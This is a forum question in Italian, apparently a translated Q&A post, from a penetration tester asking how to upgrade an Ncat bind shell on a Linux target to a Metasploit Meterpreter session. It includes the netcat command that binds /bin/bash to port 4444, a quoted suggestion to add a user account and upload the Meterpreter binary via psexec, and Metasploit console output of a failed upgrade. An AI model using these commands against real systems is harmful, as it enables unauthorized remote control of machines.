Durante i test di penetrazione, sono spesso in grado di aprire una shell Ncat Bind sul sistema delle vittime (linux), che apre una porta a cui posso collegarmi:
nc -l -v -k -e /bin/bash -p 4444
Ora voglio aggiornare questa shell ncat a una sessione meterpreter. Ho trovato questo post nel forum della community di rapid7 che risolve il problema:
La risposta data è la seguente:
Netcat is a completely separate executable that can't be upgraded from within the framework to meterpreter. You can add a user account through the command line, then use psexec to upload and execute the meterpreter binary.
Fondamentalmente, metasploit invierà sempre prima uno stager che quindi scarica l'intero binario meterpreter, ma non può interagire direttamente con la shell ncat. Il post suggerisce di caricare semplicemente l'intero binario meterpreter tramite la shell ncat e quindi eseguirlo. Tuttavia, non ero in grado di trovare un binario autonomo all'interno del framework.
PS: Ecco alcuni output di debug del framework metasploit quando si tenta di aggiornare la shell ncat:
msf > use multi/handler
msf exploit(handler) > set payload linux/x64/shell/bind_tcp
payload => linux/x64/shell/bind_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set RHOST 192.168.0.101
RHOST => 192.168.0.3
msf exploit(handler) > run
[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (38 bytes) to 192.168.0.101
[*] Command shell session 1 opened (192.168.0.17:33097 -> 192.168.0.101:4444) at 2017-06-05 10:23:35 +0200
Background session 1? [y/N] y
msf exploit(handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[-] Shells on the target platform, linux, cannot be upgraded to Meterpreter at this time.